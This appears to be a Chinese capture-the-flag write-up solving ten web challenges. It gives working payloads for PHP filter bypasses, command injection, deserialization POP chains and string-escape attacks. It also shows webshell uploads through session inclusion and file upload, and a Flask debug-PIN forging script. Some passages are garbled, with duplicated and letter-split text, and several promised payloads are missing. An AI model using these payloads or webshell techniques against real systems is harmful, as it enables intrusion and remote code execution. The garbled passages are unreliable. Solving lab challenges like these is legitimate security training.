0x01 PHP是世界上最好的语言(困难)
进题源码,第一层就绕不过去。
所以去看了wp,发现可以用三个函数组合,即:
用 _ S E R V E R [ ′ Q U E R Y _ S T R I N G ′ ] 获取 G E T 中的值,用 p a r s e _ s t r ( ) 将此字符串解析到变量中。 e x t r a c t ( \_SERVER['QUERY\_STRING']获取GET中的值,用parse\_str()将此字符串解析到变量中。extract( _SERVER[′QUERY_STRING′]获取GET中的值,用parse_str()将此字符串解析到变量中。extract(_POST)在post数组中解析flag1和flag2。所以payload:
?_POST[flag1]=8gen1&_POST[flag2]=8gen1
然后就过了第一层。第二层的504_SYS.COM要用[或]或.来进行绕过。即传入504[SYS.COM以免最后的那个.被解析了。最后一层我们先用sys=system(ls);尝试一下。发现读出了flag.php和index.php。但是由于.和通配符都被过滤了,我们无法正常读取flag.php了。
而由于flag.php在源码中已经被包含了,我们直接输出 f l a g 这个变量就可以,因为一般都是在 p h p 执行中给 flag这个变量就可以,因为一般都是在php执行中给 flag这个变量就可以,因为一般都是在php执行中给flag这个变量赋值的,最终payload:
然后就得到了flag。
0x02 非常好绕的命令执行(困难)
进题代码审计:
我们可以知道的是过滤了system但是没过滤反引号,所以用eval(“echo 命令
;”)进行命令执行。其中三个函数是:
e
v
i
l
不能出现
evil不能出现
evil不能出现blacklist里的字符、$evil所有字符可见。(nc会把include给ban掉)所以我尝试了一下,发现<没被过滤。我们需要将后面几个括号注释掉,那么就用#即%23来注释。将那么就很容易了,payload:
?args1=echo&args2=
cat<flagggg
);%23&arg3=1
然后就得到了flag。
0x03 你想逃也逃不掉(困难)
数量减少的字符串溢出,我们看看源码:
拿去phpstorm进行加工。我们需要让name那里溢出,将passwd的长度读取,然后再用新的长度给它赋值。最后用一个闭合给sign赋值成ytyyds就行了。方法如下:
横线中共20个字符,可以用四个phtml进行字符串逃逸,所以这样构造应该就能出答案了。那么我们构造payload:
?passwd=;s:6:passwd;i:1;s:4:“sign”;s:6:“ytyyds”;}
name=phtmlphtmlphtmlphtml
然后就在源码中找到了flag。
0x04 苦海(困难)
<?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
反序列化,直接找pop链。结尾应该是hint出来。所以能看到的pop链应该是:
User::wakeup()->printname()->Surrender::toString()->FileRobot::get()->invoke()->Get_file()
那么我们就直接开始构造。在写本题时我学会了使用一个类时,调用类中不存在的变量以达到实现get()的调用。比如说:
让file[‘filename’]=new FileRobot()这样就可以实现get的调用了。
这里可以使用url编码,因为中间有一个private的属性。或者在payload中更改不可见字符为%00也可以,但是flag不在当前目录,wp说flag在上一级目录,那么我们payload中要读取的是…/flag.php就可以了。所以最终的payload:
?user=O:4:“User”:2:{s:4:“name”;O:9:“Surrender”:3:{s:16:“%00Surrender%00phone”;i:110;s:7:“promise”;s:30:“苦海无涯,回头是岸!”;s:4:“file”;a:1:{s:8:“filename”;O:9:“FileRobot”:2:{s:8:“filename”;s:8:“flag.php”;s:4:“path”;O:9:“FileRobot”:2:{s:8:“filename”;s:11:“…/flag.php”;s:4:“path”;N;}}}}s:4:“flag”;s:21:“syst3m(“rm -rf ./*”);”;}
然后获得了base64加密的flag,我们拿去解密就是答案了。
0x05 网站被黑(困难)
进题是个啥也不是的东西:
然后就是找线索,源码、dirsearch啥也没有。我们去看看抓包发包:
在发包的数据中找到了Hint,拿去解密发现解不出来。然后就去找了misc师傅解了一下,发现是base32加密的子域名,解密后是:/n0_0ne_f1nd_m3/
进入访问找到了源码:
第一个text就用php://input进行绕过。
第二个file是文件包含,php文件会被执行,然后file那里由于不能用base加密、data协议、write方法。我们就只能用convert.iconv尝试。发现是错的。
之后用了另一个新的方法:
convert.quoted-printable-encode
以打印字符的方式输出,用所有能用ascii表表示的字符打印。所以最终的构造payload:
然后就得到了flag。
0x06 毒鸡汤(困难)
进题是一个很有意思的鸡汤语录:
正常信息搜集就行,然后dirsearch发现了/www.zip,其他都可以在里面看到的。然后robots里面提示是hint,hint提示如下:
发现flag在根目录里面,我们接着在这里看看index.php的源码:
发现有一个readfile的参数可以直接将flag包含出来,payload:
?readfile=/flag
然后就得到了flag。
0x07 Unserialize_Escape(困难)
源码如下:
字符数量增加的字符串溢出,我们的目的是让其中的1元素为123456。拿去phpstorm构造一下先:
然后发现由于是数组类型的,那么需要伪造的应该是:
";i:1;s:6:“123456”;}
共20个字符,我们只需要在前面放上20个x变成20个yy。这样就能达成溢出的目的。字符串变多溢出的原理,就是由于序列化时那个s:后面的长度记录数字是根据没替换的字符串来的。也就是说我们后面伪造的东西多长,就让他溢出多少个字符。这样前面s:只会读取替换后的字符。而伪造的字符串就会变成我们需要的东西。详情可见Leekos师傅文章:
然后进去当payload:
然后就得到了flag。
0x08 safe_include(困难)
进题看看源码,session包含:
用正常的session文件包含的思路:
先看看有没有回显,payload:
?xxs=/tmp/sess_c09rj3olg7f3n1dli2417eh616
文件包含成功了,然后我试着先上传一句话木马,然后访问网页包含,然后再连接蚁剑发现失败了。原因是因为最后一句话:他最后一句话说明包含之后文件内容会被改为你最后上传的下一句语句,所以我们成功上传之后不能再次传参访问。或者就是直接用bp抓包截断访问。我选择直接上传一句话木马,然后利用xxs=/tmp/sess_c09rj3olg7f3n1dli2417eh616进行连接。果然连上了:
然后在根目录找到了flag。
0x09 自由的文件上传系统(困难)
进题看见文件上传:
然后上传文件,进入查看的时候就会发现文件名被修改为数字、类型是图片形式。所以我们只能用文件包含。从源码或者主页的房子点一下,可以看到一个子域名:
/sectet_include.php?file=index.html
说明这是可以包含的。然后用文件随便上传一个一句话木马,而且重要的是路径。因为路径一开始错了,我去看了眼wp,原来是因为多加了一个"/"导致无法回显。
然后上传一句话木马发现他会将?变成!。那么我们上传不需要问号的php一句话木马:
然后直接蚁剑连上。发现当前目录有个假的flag,真的flag在根目录:
然后就得到了flag。
0x0A flask_pin(困难)
说实话这题进题没有什么思路,但是用dirsearch和源码找到了**/file和/console**。其中/console是控制台的意思。我们进入访问:
然后发现需要一个pin值,我用了好多正常方法都没用。这题是一个新的知识点,flask-debug中的pin值生成。每个机器都会有相同的pin码,所以要进行解密。具体意思和操作可见文章:
根据文章意思,我们一共需要六个值:
# username
# modname
# getattr(app, '__name__', getattr(app.__class__, '__name__'))
# getattr(mod, '__file__', None),
# str(uuid.getnode()), /sys/class/net/eth0/address
# get_machine_id(), /etc/machine-id、/proc/self/cgroup
前三个值一般都是固定的,分别为root、flask.app、Flask。第四个值是绝对路径,在debug报错中有,第五个是**/sys/class/net/eth0/address**这个用file读取,第六个也是一样的file读取。然后在题目中实践,第五个值是一个十六进制:
把他转换为十进制,然后第六个值是先读取第一个文件,再读取第二个文件,然后将二者拼接起来。这个问题在wp中有,也可见文章:Werkzeug更新带来的Flask debug pin码生成方式改变-腾讯云开发者社区-腾讯云
然后我们进行读取。
机器码:
这个freezer后docker的后面一串就是我们需要的:
构造后的脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径
]
private_bits = [
'2485376925256',# str(uuid.getnode()), /sys/class/net/ens33/address
'c31eea55a29431535ff01de94bdcf5cf68586ce0a884092f32452633ffd1b2a66778a4c7616c94f7e70e8ce4e32cdb41'# get_machine_id(), /etc/machine-id 加上 /proc/self/cgroup 两个值拼接
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]